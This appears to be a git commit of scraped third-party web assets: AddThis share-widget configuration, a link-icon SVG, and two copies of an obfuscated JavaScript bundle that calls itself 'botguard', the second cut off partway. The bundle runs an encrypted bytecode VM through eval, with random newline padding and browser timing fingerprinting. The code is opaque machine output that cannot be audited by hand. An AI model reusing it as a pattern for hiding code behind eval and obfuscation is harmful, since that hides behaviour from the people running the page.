Commit 69cbd3f3 by yinqidi

experiment

parent 9ddf17a9
_ate.track.config_resp({"pc":"esb","tool-config":{"_default":{"widgets":{"h35n":{"hideEmailSharingConfirmation":false,"numPreferredServices":5,"widgetId":"h35n","creationTimestamp":1548498783649,"hideDevice":"none","position":"bottom-right","services":"twitter,linkedin,facebook,email,link,whatsapp","id":"esb","__hideOnHomepage":false,"hideLabel":false}}}},"subscription":{"active":true,"edition":"BASIC","tier":"basic","reducedBranding":false,"insightsEnabled":false},"customMessageTemplates":[],"pro-config":{"_default":{"widgets":{"esb":{"hideEmailSharingConfirmation":false,"numPreferredServices":5,"widgetId":"h35n","creationTimestamp":1548498783649,"hideDevice":"none","position":"bottom-right","services":"twitter,linkedin,facebook,email,link,whatsapp","id":"esb","__hideOnHomepage":false,"hideLabel":false}}}}});
\ No newline at end of file
addthis.cbs.jsonp__287360183835307040({"loc":"MDAwMDBBU0pQMTMyMTU3MzE5ODAwMTAwMDBDSA==","pixels":[]});
\ No newline at end of file
atwpjp([151],{256:function(c,l){c.exports='<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M23.476 20.663c0-.324-.114-.6-.34-.825l-2.524-2.524a1.124 1.124 0 0 0-.826-.34c-.34 0-.63.13-.873.388.024.024.1.1.23.225s.217.212.26.26c.046.05.106.126.183.23a.976.976 0 0 1 .2.644c0 .325-.113.6-.34.827-.226.226-.5.34-.825.34-.12 0-.23-.015-.332-.043a.976.976 0 0 1-.31-.158 2.89 2.89 0 0 1-.23-.182 7.506 7.506 0 0 1-.26-.26l-.226-.23c-.267.25-.4.545-.4.885 0 .322.113.597.34.824l2.5 2.512c.218.218.493.328.825.328.323 0 .598-.106.825-.316l1.784-1.772a1.11 1.11 0 0 0 .34-.813zm-8.532-8.556c0-.323-.113-.598-.34-.825l-2.5-2.512a1.124 1.124 0 0 0-.825-.34c-.316 0-.59.11-.826.328L8.67 10.53a1.11 1.11 0 0 0-.34.813c0 .323.113.598.34.825l2.524 2.524c.22.22.494.328.825.328.34 0 .63-.126.873-.376-.024-.025-.1-.1-.23-.225a7.506 7.506 0 0 1-.26-.262 2.89 2.89 0 0 1-.183-.23.976.976 0 0 1-.2-.644c0-.323.113-.598.34-.825.226-.227.5-.34.824-.34a.976.976 0 0 1 .643.2c.106.077.183.137.23.182.05.044.137.13.262.26s.2.207.224.23c.267-.25.4-.545.4-.885zm10.862 8.556c0 .97-.344 1.792-1.032 2.464L22.99 24.9c-.67.67-1.492 1.006-2.463 1.006-.98 0-1.805-.344-2.476-1.032l-2.5-2.512c-.67-.67-1.006-1.493-1.006-2.463 0-.997.356-1.842 1.068-2.538l-1.068-1.068c-.696.712-1.538 1.068-2.525 1.068-.97 0-1.797-.34-2.476-1.02L7.02 13.82C6.34 13.138 6 12.314 6 11.343c0-.97.344-1.792 1.032-2.464l1.784-1.773c.67-.67 1.492-1.007 2.463-1.007.978 0 1.803.344 2.475 1.032l2.5 2.512c.67.67 1.007 1.492 1.007 2.463 0 .995-.356 1.84-1.068 2.537l1.068 1.068c.696-.712 1.537-1.068 2.524-1.068.97 0 1.797.34 2.476 1.02l2.524 2.523c.68.68 1.02 1.505 1.02 2.476z" fill-rule="evenodd"/></svg>'}});
atwpjp([151],{256:function(c,l){c.exports='<svg width="32" height="32" xmlns="http://www.w3.org/2000/svg"><path d="M23.476 20.663c0-.324-.114-.6-.34-.825l-2.524-2.524a1.124 1.124 0 0 0-.826-.34c-.34 0-.63.13-.873.388.024.024.1.1.23.225s.217.212.26.26c.046.05.106.126.183.23a.976.976 0 0 1 .2.644c0 .325-.113.6-.34.827-.226.226-.5.34-.825.34-.12 0-.23-.015-.332-.043a.976.976 0 0 1-.31-.158 2.89 2.89 0 0 1-.23-.182 7.506 7.506 0 0 1-.26-.26l-.226-.23c-.267.25-.4.545-.4.885 0 .322.113.597.34.824l2.5 2.512c.218.218.493.328.825.328.323 0 .598-.106.825-.316l1.784-1.772a1.11 1.11 0 0 0 .34-.813zm-8.532-8.556c0-.323-.113-.598-.34-.825l-2.5-2.512a1.124 1.124 0 0 0-.825-.34c-.316 0-.59.11-.826.328L8.67 10.53a1.11 1.11 0 0 0-.34.813c0 .323.113.598.34.825l2.524 2.524c.22.22.494.328.825.328.34 0 .63-.126.873-.376-.024-.025-.1-.1-.23-.225a7.506 7.506 0 0 1-.26-.262 2.89 2.89 0 0 1-.183-.23.976.976 0 0 1-.2-.644c0-.323.113-.598.34-.825.226-.227.5-.34.824-.34a.976.976 0 0 1 .643.2c.106.077.183.137.23.182.05.044.137.13.262.26s.2.207.224.23c.267-.25.4-.545.4-.885zm10.862 8.556c0 .97-.344 1.792-1.032 2.464L22.99 24.9c-.67.67-1.492 1.006-2.463 1.006-.98 0-1.805-.344-2.476-1.032l-2.5-2.512c-.67-.67-1.006-1.493-1.006-2.463 0-.997.356-1.842 1.068-2.538l-1.068-1.068c-.696.712-1.538 1.068-2.525 1.068-.97 0-1.797-.34-2.476-1.02L7.02 13.82C6.34 13.138 6 12.314 6 11.343c0-.97.344-1.792 1.032-2.464l1.784-1.773c.67-.67 1.492-1.007 2.463-1.007.978 0 1.803.344 2.475 1.032l2.5 2.512c.67.67 1.007 1.492 1.007 2.463 0 .995-.356 1.84-1.068 2.537l1.068 1.068c.696-.712 1.537-1.068 2.524-1.068.97 0 1.797.34 2.476 1.02l2.524 2.523c.68.68 1.02 1.505 1.02 2.476z" fill-rule="evenodd"/></svg>'}});
\ No newline at end of file
(function(){var J=function(Q,l){if(!(l=(Q=null,v).trustedTypes,l)||!l.createPolicy)return Q;try{Q=l.createPolicy("bg",{createHTML:r,createScript:r,createScriptURL:r})}catch(h){v.console&&v.console.error(h.message)}return Q},r=function(Q){return Q},v=this||self;(0,eval)(function(Q){return(Q=J())&&1===eval(Q.createScript("1"))?function(l){return Q.createScript(l)}:function(l){return""+l}}()(Array(7824*Math.random()|0).join("\n")+'(function(){var QX=function(l,Q,r,J,U){for(Q=(r=J=0,[]);J<l.length;J++)U=l.charCodeAt(J),128>U?Q[r++]=U:(2048>U?Q[r++]=U>>6|192:(55296==(U&64512)&&J+1<l.length&&56320==(l.charCodeAt(J+1)&64512)?(U=65536+((U&1023)<<10)+(l.charCodeAt(++J)&1023),Q[r++]=U>>18|240,Q[r++]=U>>12&63|128):Q[r++]=U>>12|224,Q[r++]=U>>6&63|128),Q[r++]=U&63|128);return Q},lo=function(l,Q){return[(l(function(r){r(Q)}),function(){return Q})]},t=function(l,Q,r,J){if(l.U)return l.O(l.N);return(r=m(l,(J=(r=l.b(2),r>>3),r)),l.l!=J>>3)&&(l.l=J>>3,Q=l.b(237),l.Cc=vB([0,0,Q[1],Q[2]],l.l,l.VA)),r^l.Cc[J%8]},B=function(l,Q,r,J,U,v){if(l.i==l)for(U=l.b(Q),109==Q?(Q=function(h,H,z,R){if((H=(z=U.length,z|0)-4>>3,U.wn)!=H){H=(R=[0,0,(U.wn=H,v[1]),v[2]],(H<<3)-4);try{U.U5=vB(R,rg((H|0)+4,U),rg(H,U))}catch(g){throw g;}}U.push(U.U5[z&7]^h)},v=l.b(89)):Q=function(h){U.push(h)},J&&Q(J&255),l=r.length,J=0;J<l;J++)Q(r[J])},h5=function(l,Q){if((l=null,Q=E.trustedTypes,!Q)||!Q.createPolicy)return l;try{l=Q.createPolicy("bg",{createHTML:b,createScript:b,createScriptURL:b})}catch(r){E.console&&E.console.error(r.message)}return l},HB=function(l,Q,r,J,U){return J=J5(l,(r=void 0,U=function(){},function(v){(r=(Q&&n(Q),v),U)(),U=void 0}),!!Q)[0],{invoke:function(v,h,H,z,R){if(!h)return h=J(H),v&&v(h),h;R=function(){r(function(g){n(function(){v(g)})},H)},r?R():(z=U,U=function(){(z(),n)(R)})}}},Y,e=[],J5=function(l,Q,r,J,U,v,h,H){return(U=(H=(v=l.substring(3),l.substring(0,3)),Y[H+"_"]))?U(v,Q,r):(H=Y[H])?(h=function(z,R){J.invoke(z,true,R)},J=new H(v,r?function(){Q(h)}:void 0),r||Q(h),[function(z){return J.invoke(void 0,false,z)}]):lo(Q,l)},CK=function(l,Q,r,J,U){for(((U=[],Q.D=(Q.WQ=function(v,h,H){return(h=function(){return H()},H=function(){return v},h)[this.j]=function(z){v=z},h},0),Q.I=false,(J=0,Q).o=(Q.X=0,false),Q.N=void 0,Q.c=(Q.U=void 0,25),Q.J=0,Q).g=function(v,h,H,z,R,g){return(z=(g=(R=function(){return g()},H=this,function(){return g[(H.R|0)+(R[H.Y]===v|0)-!z[H.Y]]}),H).W,R[H.j]=function(q){g[H.$]=q},R)[H.j](h),h=R},Q).bF=[];128>J;J++)U[J]=String.fromCharCode(J);(W((Q.A=((P((P(Q,196,(Q.B=!(P(Q,211,(P(Q,109,(J=(P(Q,(P(Q,(Q.C=(P(Q,170,(Q.dn=(P(Q,16,(P(Q,(P(Q,(P(Q,23,(P(Q,((P(Q,(P(Q,244,(P(Q,87,[(Q.s=(P(Q,32,(P(Q,(P(Q,127,(P(Q,(P((P(Q,176,(P(Q,(P(Q,(P(Q,(P(Q,((Q.T=(P(Q,(P(Q,212,(P(Q,(P(Q,0,(P(Q,(P(Q,(P(Q,(P(Q,231,(P(Q,104,(P(Q,((Q.i=Q,Q.K=[],Q.AH=function(v){this.i=v},Q).S=[],2),0),0)),P(Q,8,function(v,h,H,z,R,g){if(!A(true,v,true)){if("object"==(v=(R=(z=(g=(R=t((g=(h=t((z=t(v),v)),t)(v),v)),v.b(g)),v.b(z)),v.b(R)),v.b(h)),Uc(z))){for(H in h=[],z)h.push(H);z=h}for(h=(g=(H=z.length,0<g?g:1),0);h<H;h+=g)v(z.slice(h,(h|0)+(g|0)),R)}}),[])),106),108),200),{}),185),function(v,h,H,z,R,g,q){A(false,v,true)||(z=z6(v),q=z.F,g=z.H,R=z.L,H=g.length,0==H?h=new R[q]:1==H?h=new R[q](g[0]):2==H?h=new R[q](g[0],g[1]):3==H?h=new R[q](g[0],g[1],g[2]):4==H?h=new R[q](g[0],g[1],g[2],g[3]):D(22,v),P(v,z.v,h))}),P(Q,105,function(v){v.Z(4)}),function(v){v.Z(3)})),219),function(v){mU(4,v)}),function(){})),249),function(v,h,H){P((h=Uc((h=(h=t(v),H=t(v),v.b(h)),h)),v),H,h)}),false),P)(Q,121,function(v,h,H,z){H=(h=(z=t((H=t(v),v)),t(v)),v).b(H),z=v.b(z),P(v,h,+(H==z))}),234),function(v,h){A(false,v,true)||(h=z6(v),P(v,h.v,h.F.apply(h.L,h.H)))}),P(Q,64,function(v,h,H){0!=(H=(H=t((h=t(v),v)),v.b(H)),v).b(h)&&P(v,2,H)}),10),function(v,h,H,z){(h=(H=(z=t((H=(h=t(v),t(v)),v)),v).b(H),v.b(h)),P)(v,z,h in H|0)}),245),function(v,h,H,z,R,g,q){if(h=(H=(g=t(v),N(v)),""),v.S[76])for(R=v.b(76),z=0,q=R.length;H--;)z=((z|0)+(N(v)|0))%q,h+=U[R[z]];else for(;H--;)h+=U[t(v)];P(v,g,h)}),P(Q,150,2048),67),function(v){mU(1,v)}),function(v,h,H,z){if(h=v.s.pop()){for(H=t(v);0<H;H--)z=t(v),h[z]=v.S[z];v.S=(h[h[231]=v.S[231],150]=v.S[150],h)}else P(v,2,v.V)})),Q),228,0),114),function(v,h,H){A(false,v,true)||(h=t(v),H=t(v),P(v,H,function(z){return eval(z)}(t5(v.b(h)))))}),function(v,h,H,z,R){(h=(R=(z=t((H=t((h=t((R=t(v),v)),v)),v)),v.b(R)),H=v.b(H),v.b(h)),z=v.b(z),0!==R)&&(z=Rt(z,v,H,1,R,h),R.addEventListener(h,z,w),P(v,228,[R,h,z]))})),46),function(v,h,H,z,R){for(R=(h=N((z=t(v),v)),H=[],0);R<h;R++)H.push(t(v));P(v,z,H)}),function(v,h,H){H=(h=t(v),t)(v),P(v,H,""+v.b(h))})),[]),165),0,0]),function(v,h){v=(h=t(v),v.b(h)),v[0].removeEventListener(v[1],v[2],false)})),163),[]),P)(Q,221,Q),89),[0,0,0]),function(v,h,H,z,R){(h=t((H=(z=t(v),t(v)),v)),v.i==v)&&(h=v.b(h),R=v.b(z),H=v.b(H),R[H]=h,237==z&&(v.l=void 0,2==H&&io(v)))})),137),function(v,h,H,z){P((z=(H=t((h=t(v),v)),t)(v),v),z,v.b(h)>>H)}),69),function(v,h,H,z){P((h=t((H=t(v),v)),z=t(v),v),z,v.b(H)||v.b(h))}),function(v,h,H,z){P((h=(z=(h=t(v),t(v)),v.b(h)),H=v.b(z),v),z,H+h)})),function(v,h){(h.push(v[0]<<24|v[1]<<16|v[2]<<8|v[3]),h).push(v[4]<<24|v[5]<<16|v[6]<<8|v[7]),h.push(v[8]<<24|v[9]<<16|v[10]<<8|v[11])}),E)),P(Q,15,function(v){v.E5(4)}),[]),193),function(v,h){gg(v,(G((h=v.b(t(v)),h)),h))}),153),0),window.performance||{}),Q.jW=J.timeOrigin||(J.timing||{}).navigationStart||0,a(4))),function(v,h,H,z){P(v,(z=(H=(h=t((z=t(v),v)),t)(v),v.b(z)),h=v.b(h),H),z[h])})),1),function(v,h,H,z,R){P(v,(R=(H=(h=(R=(H=(h=t((z=t(v),v)),t(v)),t)(v),v.b(h)),v.b(H)),v).b(R),z),Rt(H,v,h,R))})),Q),34,function(v,h,H,z,R,g,q,V,C,Z,T,K,f){for(K=(Z=(H=(C=t(v),0),function(y,S){for(;T<y;)H|=t(v)<<T,T+=8;return S=H&(1<<(T-=y,y))-1,H>>=y,S}),T=0,q=(Z(3)|0)+1,Z)(5),V=0,h=[],g=0;g<K;g++)R=Z(1),h.push(R),V+=R?0:1;for(V=((V|0)-1).toString(2).length,g=0,f=[];g<K;g++)h[g]||(f[g]=Z(V));for(g=0;g<K;g++)h[g]&&(f[g]=t(v));for(g=(z=[],q);g--;)z.push(v.b(t(v)));P(v,C,function(y,S,X,F,c){for(S=(X=(c=[],[]),0);S<K;S++){if(F=f[S],!h[S]){for(;F>=c.length;)c.push(t(y));F=c[F]}X.push(F)}y.N=(y.U=(c=y.O,y.g(c,z.slice())),y.g(c,X))})}),Q).V=0,[]),W([M,l],Q),[KK,r.yA]),Q),k)(r.SW,Q,true)},rg=function(l,Q){return Q[l]<<24|Q[(l|0)+1]<<16|Q[(l|0)+2]<<8|Q[(l|0)+3]},b=function(l){return l},P=function(l,Q,r){if(2==Q||104==Q)if(l.S[Q])l.S[Q][l.j](r);else l.S[Q]=l.WQ(r);else if(87!=Q&&109!=Q&&163!=Q&&231!=Q&&89!=Q||!l.S[Q])l.S[Q]=l.g(l.b,r);237==Q&&io(l)},w=false,O,p=function(l,Q,r,J){for(r=(J=(Q|0)-1,[]);0<=J;J--)r[(Q|0)-1-(J|0)]=l>>8*J&255;return r},E=this||self,n=E.requestIdleCallback?function(l){requestIdleCallback(function(){l()},{timeout:4})}:E.setImmediate?function(l){setImmediate(l)}:function(l){setTimeout(l,0)},d=function(l,Q){try{CK(l,this,Q)}catch(r){x(r,this)}},vB=function(l,Q,r,J){try{for(J=0;79669387488!=J;)r+=(Q<<4^Q>>>5)+(Q|0)^(J|0)+(l[J&3]|0),J+=2489668359,Q+=(r<<4^r>>>5)+(r|0)^(J|0)+(l[J>>>11&3]|0);return[r>>>24,r>>16&255,r>>8&255,r&255,Q>>>24,Q>>16&255,Q>>8&255,Q&255]}catch(U){throw U;}},W=function(l,Q){Q.C.splice(0,0,l)},u=[],L=[],Rt=function(l,Q,r,J,U,v){return function(){if(Q.i==Q){var h=J&1,H=[u,r,l,void 0,U,v,arguments];if(J&2)var z=(W(H,Q),k(false,Q,false));else h?(h=!Q.C.length,W(H,Q),h&&k(false,Q,false)):z=qw(Q,H);return z}}},jV=[],io=function(l){l.VA=m(l,l.b(2))<<24|m(l,l.b(2))<<16|m(l,l.b(2))<<8|m(l,l.b(2)),l.l=void 0},a=function(l,Q){for(Q=[];l--;)Q.push(255*Math.random()|0);return Q},I=[],N=function(l,Q){return(Q=t(l),Q)&128&&(Q=Q&127|t(l)<<7),Q},KK=[],m=(d.prototype.b=function(l,Q){if(Q=this.S[l],void 0===Q)throw D(30,this,0,l),this.f;for(l=7;l--;);return Q()},d.prototype.G=function(l,Q,r,J,U){if(this.P)l(this.P);else try{U=[],J=!this.C.length,W([I,U,r],this),W([e,l,U],this),Q&&!J||k(Q,this,true)}catch(v){x(v,this),l(this.P)}},d.prototype.PQ=function(l,Q,r,J){try{J=l[((Q|0)+2)%3],l[Q]=(l[Q]|0)-(l[((Q|0)+1)%3]|0)-(J|0)^(1==Q?J<<r:J>>>r)}catch(U){throw U;}},function(l,Q){if(Q>=l.V)throw D(31,l),l.f;return(P(l,2,(Q|0)+8),l).A[Q>>3]}),Zo=function(l,Q,r,J,U,v){l.D++;try{for(v=(J=5001,l).V,Q=void 0,r=0;(l.iF||--J)&&(l.U||(r=l.b(2))<v);)try{l.U?Q=l.O(l.U):(P(l,104,r),U=t(l),Q=l.b(U)),Q&&Q.call?Q(l):D(21,l,0,U),l.I=true,A(false,l,false)}catch(h){h!=l.f&&(l.b(106)?D(22,l,h):P(l,106,h))}J||D(33,l)}catch(h){try{D(22,l,h)}catch(H){x(H,l)}}l.D--},BB=function(l,Q,r){return P(l,2,(Zo(((G((G((r=l.b(2),Q)),r)),l.A)&&r<l.V?(P(l,2,l.V),gg(l,Q)):P(l,2,Q),l)),r)),l.b(200)},Uc=(O=d.prototype,function(l,Q,r){if(r=typeof l,"object"==r)if(l){if(l instanceof Array)return"array";if(l instanceof Object)return r;if("[object Window]"==(Q=Object.prototype.toString.call(l),Q))return"object";if("[object Array]"==Q||"number"==typeof l.length&&"undefined"!=typeof l.splice&&"undefined"!=typeof l.propertyIsEnumerable&&!l.propertyIsEnumerable("splice"))return"array";if("[object Function]"==Q||"undefined"!=typeof l.call&&"undefined"!=typeof l.propertyIsEnumerable&&!l.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==r&&"undefined"==typeof l.call)return"object";return r}),z6=function(l,Q,r,J,U,v){for(J=(v=t((Q=(((r=t((U={},l)),U).v=t(l),U).H=[],l).i==l?(t(l)|0)-1:1,l)),0);J<Q;J++)U.H.push(t(l));for(U.F=l.b(r);Q--;)U.H[Q]=l.b(U.H[Q]);return U.L=l.b(v),U},x=(O.R=(d.prototype.O=function(l){return(l=l().shift(),this).U().length||this.N().length||(this.U=this.N=void 0),l},35),O.iF=false,function(l,Q){Q.P=("E:"+l.message+":"+l.stack).slice(0,2048)}),gg=(O.j="toString",O.Y="caller",function(l,Q){P(l,2,((l.s.push(l.S.slice()),l.S)[2]=void 0,Q))}),M=(d.prototype.fc=function(){return t(this)},O.f={},[]),G=function(l){isNaN(l)||(l>>3).toString(16)},qw=function(l,Q,r,J,U){if(U=Q[l.I=false,0],U==I)l.c=25,l.W(Q);else if(U==e){r=Q[1];try{J=l.W(Q)}catch(v){x(v,l),J=l.P}r(J)}else if(U==L)l.W(Q);else if(U==M)l.W(Q);else if(U==KK){try{for(J=0;J<l.K.length;J++)try{r=l.K[J],r[0][r[1]](r[2])}catch(v){}}catch(v){}(0,Q[l.K=[],1])(function(v,h){l.G(v,true,h)})}else if(U==u)return J=Q[2],P(l,19,Q[6]),P(l,200,J),l.W(Q)},D=(O.$=(d.prototype.lF=function(l,Q,r){if(3==l.length){for(r=0;3>r;r++)Q[r]+=l[r];for(r=(l=[13,8,13,12,16,5,3,10,15],0);9>r;r++)Q[3](Q,r%3,l[r])}},36),function(l,Q,r,J,U){if(r=((J=(0==(void 0!=(l=(U=Q.b(104)>>3,[l,U>>8&255,U&255]),J)&&l.push(J),Q.b(231)).length&&(Q.S[231]=void 0,P(Q,231,l)),""),r)&&(r.message&&(J+=r.message),r.stack&&(J+=":"+r.stack)),Q.b(150)),3<r){Q.i=(l=(J=QX((J=J.slice(0,(r|0)-3),r-=(J.length|0)+3,J.replace(/\\r\\n/g,"\\n"))),Q).i,Q);try{B(Q,109,p(J.length,2).concat(J),12)}finally{Q.i=l}}P(Q,150,r)}),yX=((((((O=d.prototype,O).od=function(l,Q,r,J,U,v){for(v=(U=0,[]),r=0;r<l.length;r++)for(U+=Q,J=J<<Q|l[r];7<U;)U-=8,v.push(J>>U&255);return v},O.HQ=function(l,Q,r){return l^((Q=(Q^=Q<<13,Q^=Q>>17,Q^Q<<5)&r)||(Q=1),Q)},O.q0=function(l,Q,r,J){for(;r--;)2!=r&&104!=r&&Q.S[r]&&(Q.S[r]=Q[J](Q[l](r),this));Q[l]=this},O).Tn=function(l,Q,r,J,U){for(U=J=0;J<l.length;J++)U+=l.charCodeAt(J),U+=U<<10,U^=U>>6;return J=(U+=U<<3,U^=U>>11,l=U+(U<<15)>>>0,new Number(l&(1<<Q)-1)),J[0]=(l>>>Q)%r,J},O).ad=function(){return Math.floor(this.h())},O.h=(window.performance||{}).now?function(){return this.jW+window.performance.now()}:function(){return+new Date},O).N0=function(){return Math.floor(this.X+(this.h()-this.M))},d).prototype.W=function(l,Q){return Q=(l={},{}),function(r,J,U,v,h,H,z,R,g,q,V,C,Z,T,K,f,y){l=(h=l,Q);try{if(z=r[0],z==jV)return h==Q?24:72;if(z==M){V=r[1];try{for(K=(C=(R=[],atob)((J=0,V)),0);K<C.length;K++)Z=C.charCodeAt(K),255<Z&&(R[J++]=Z&255,Z>>=8),R[J++]=Z;P(this,237,[((this.A=R,this).V=this.A.length<<3,0),0,0])}catch(S){S!=this.f&&D(17,this,S);return}Zo(this)}else if(z==I)J=r[1],J.push(this.b(163).length,this.b(87).length,this.b(150),this.b(109).length),P(this,200,r[2]),this.S[253]&&BB(this,this.b(253));else{if(z==e){v=(f=p((J=r[2],(this.b(87).length|0)+2),2),this).i,this.i=this;try{H=this.b(231),0<H.length&&B(this,87,p(H.length,2).concat(H),15),B(this,87,[1],104),B(this,87,[7]),C=0,C+=this.b(153)&2047,U=this.b(109),C-=(this.b(87).length|0)+5,4<U.length&&(C-=(U.length|0)+3),0<C&&B(this,87,p(C,2).concat(a(C)),10),4<U.length&&B(this,87,p(U.length,2).concat(U),153)}finally{this.i=v}if(y=(((K=a(2).concat(this.b(87)),K)[1]=K[0]^3,K)[3]=K[1]^f[0],K[4]=K[1]^f[1],window.btoa)){for(Z=(C="",0);Z<K.length;Z+=8192)C+=String.fromCharCode.apply(null,K.slice(Z,Z+8192));q=y(C).replace(/\\+/g,"-").replace(/\\//g,"_").replace(/=/g,"")}else q=void 0;if(T=q)T="!"+T;else for(T="",C=0;C<K.length;C++)g=K[C][this.j](16),1==g.length&&(g="0"+g),T+=g;return P(((this.b((R=T,163)).length=J.shift(),this).b(87).length=J.shift(),this),150,J.shift()),this.b(109).length=J.shift(),R}if(z==L)BB(this,r[1]);else if(z==u)return BB(this,r[1])}}finally{l=h}}}(),d.prototype.E5=function(l,Q,r){for(Q=(r=t(this),0);0<l;l--)Q=Q<<8|t(this);P(this,r,Q)},function(l,Q,r,J){for(;Q.C.length;)if(Q.o=false,J=Q.C.pop(),J=qw(Q,J),l&&Q.o){r=Q,n(function(){k(true,r,true)});break}return J}),k=(d.prototype.Z=function(l,Q,r,J){B(this,(J=(J=t((Q=l&3,l&=4,this)),r=t(this),this).b(J),l&&(J=QX((""+J).replace(/\\r\\n/g,"\\n"))),Q&&B(this,r,p(J.length,2)),r),J)},function(l,Q,r,J,U,v){if(Q.C.length){Q.T=!(Q.B=(Q.T&&0(),l),0);try{J=Q.h(),Q.hH=J,Q.M=J,v=yX(l,Q),U=Q.h()-Q.M,Q.X+=U,U<(r?0:10)||0>=Q.c--||(U=Math.floor(U),Q.bF.push(254>=U?U:254))}finally{Q.T=false}return v}}),mU=function(l,Q,r,J){B(Q,(r=(J=t(Q),t(Q)),r),p(Q.b(J),l))},T6=function(l,Q,r){return Q.G(function(J){r=J},false,l),r},A=function(l,Q,r,J){if(!(J=0<Q.J&&Q.T&&Q.B&&1>=Q.D&&!Q.U&&!Q.o&&(Q.I||!r)&&0==document.hidden,J)||(J?Q.h():Q.hH)-Q.M<Q.J-(l?255:r?5:2))return false;return Q.o=((P((l=Q.b(r?104:2),Q),2,Q.V),Q).C.push([L,l]),true)},t5=function(l){return(l=h5())&&1===eval(l.createScript("1"))?function(Q){return l.createScript(Q)}:function(Q){return""+Q}}();((Y=E.botguard||(E.botguard={}),25)<Y.m||(Y.m=26,Y.bg=HB,Y.a=J5),Y).cPi_=function(l,Q,r,J){return[(J=new d(l,{yA:Q,SW:r}),function(U){return T6(U,J)})]};try{Y.u||(E.addEventListener("unload",function(){},w),Y.u=1)}catch(l){}try{E.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){w={passive:true}}}))}catch(l){};}).call(this);'));}).call(this);
(function(){var J=function(Q,l){if(!(l=(Q=null,v).trustedTypes,l)||!l.createPolicy)return Q;try{Q=l.createPolicy("bg",{createHTML:r,createScript:r,createScriptURL:r})}catch(h){v.console&&v.console.error(h.message)}return Q},r=function(Q){return Q},v=this||self;(0,eval)(function(Q){return(Q=J())&&1===eval(Q.createScript("1"))?function(l){return Q.createScript(l)}:function(l){return""+l}}()(Array(7824*Math.random()|0).join("\n")+'(function(){var QX=function(l,Q,r,J,U){for(Q=(r=J=0,[]);J<l.length;J++)U=l.charCodeAt(J),128>U?Q[r++]=U:(2048>U?Q[r++]=U>>6|192:(55296==(U&64512)&&J+1<l.length&&56320==(l.charCodeAt(J+1)&64512)?(U=65536+((U&1023)<<10)+(l.charCodeAt(++J)&1023),Q[r++]=U>>18|240,Q[r++]=U>>12&63|128):Q[r++]=U>>12|224,Q[r++]=U>>6&63|128),Q[r++]=U&63|128);return Q},lo=function(l,Q){return[(l(function(r){r(Q)}),function(){return Q})]},t=function(l,Q,r,J){if(l.U)return l.O(l.N);return(r=m(l,(J=(r=l.b(2),r>>3),r)),l.l!=J>>3)&&(l.l=J>>3,Q=l.b(237),l.Cc=vB([0,0,Q[1],Q[2]],l.l,l.VA)),r^l.Cc[J%8]},B=function(l,Q,r,J,U,v){if(l.i==l)for(U=l.b(Q),109==Q?(Q=function(h,H,z,R){if((H=(z=U.length,z|0)-4>>3,U.wn)!=H){H=(R=[0,0,(U.wn=H,v[1]),v[2]],(H<<3)-4);try{U.U5=vB(R,rg((H|0)+4,U),rg(H,U))}catch(g){throw g;}}U.push(U.U5[z&7]^h)},v=l.b(89)):Q=function(h){U.push(h)},J&&Q(J&255),l=r.length,J=0;J<l;J++)Q(r[J])},h5=function(l,Q){if((l=null,Q=E.trustedTypes,!Q)||!Q.createPolicy)return l;try{l=Q.createPolicy("bg",{createHTML:b,createScript:b,createScriptURL:b})}catch(r){E.console&&E.console.error(r.message)}return l},HB=function(l,Q,r,J,U){return J=J5(l,(r=void 0,U=function(){},function(v){(r=(Q&&n(Q),v),U)(),U=void 0}),!!Q)[0],{invoke:function(v,h,H,z,R){if(!h)return h=J(H),v&&v(h),h;R=function(){r(function(g){n(function(){v(g)})},H)},r?R():(z=U,U=function(){(z(),n)(R)})}}},Y,e=[],J5=function(l,Q,r,J,U,v,h,H){return(U=(H=(v=l.substring(3),l.substring(0,3)),Y[H+"_"]))?U(v,Q,r):(H=Y[H])?(h=function(z,R){J.invoke(z,true,R)},J=new H(v,r?function(){Q(h)}:void 0),r||Q(h),[function(z){return J.invoke(void 0,false,z)}]):lo(Q,l)},CK=function(l,Q,r,J,U){for(((U=[],Q.D=(Q.WQ=function(v,h,H){return(h=function(){return H()},H=function(){return v},h)[this.j]=function(z){v=z},h},0),Q.I=false,(J=0,Q).o=(Q.X=0,false),Q.N=void 0,Q.c=(Q.U=void 0,25),Q.J=0,Q).g=function(v,h,H,z,R,g){return(z=(g=(R=function(){return g()},H=this,function(){return g[(H.R|0)+(R[H.Y]===v|0)-!z[H.Y]]}),H).W,R[H.j]=function(q){g[H.$]=q},R)[H.j](h),h=R},Q).bF=[];128>J;J++)U[J]=String.fromCharCode(J);(W((Q.A=((P((P(Q,196,(Q.B=!(P(Q,211,(P(Q,109,(J=(P(Q,(P(Q,(Q.C=(P(Q,170,(Q.dn=(P(Q,16,(P(Q,(P(Q,(P(Q,23,(P(Q,((P(Q,(P(Q,244,(P(Q,87,[(Q.s=(P(Q,32,(P(Q,(P(Q,127,(P(Q,(P((P(Q,176,(P(Q,(P(Q,(P(Q,(P(Q,((Q.T=(P(Q,(P(Q,212,(P(Q,(P(Q,0,(P(Q,(P(Q,(P(Q,(P(Q,231,(P(Q,104,(P(Q,((Q.i=Q,Q.K=[],Q.AH=function(v){this.i=v},Q).S=[],2),0),0)),P(Q,8,function(v,h,H,z,R,g){if(!A(true,v,true)){if("object"==(v=(R=(z=(g=(R=t((g=(h=t((z=t(v),v)),t)(v),v)),v.b(g)),v.b(z)),v.b(R)),v.b(h)),Uc(z))){for(H in h=[],z)h.push(H);z=h}for(h=(g=(H=z.length,0<g?g:1),0);h<H;h+=g)v(z.slice(h,(h|0)+(g|0)),R)}}),[])),106),108),200),{}),185),function(v,h,H,z,R,g,q){A(false,v,true)||(z=z6(v),q=z.F,g=z.H,R=z.L,H=g.length,0==H?h=new R[q]:1==H?h=new R[q](g[0]):2==H?h=new R[q](g[0],g[1]):3==H?h=new R[q](g[0],g[1],g[2]):4==H?h=new 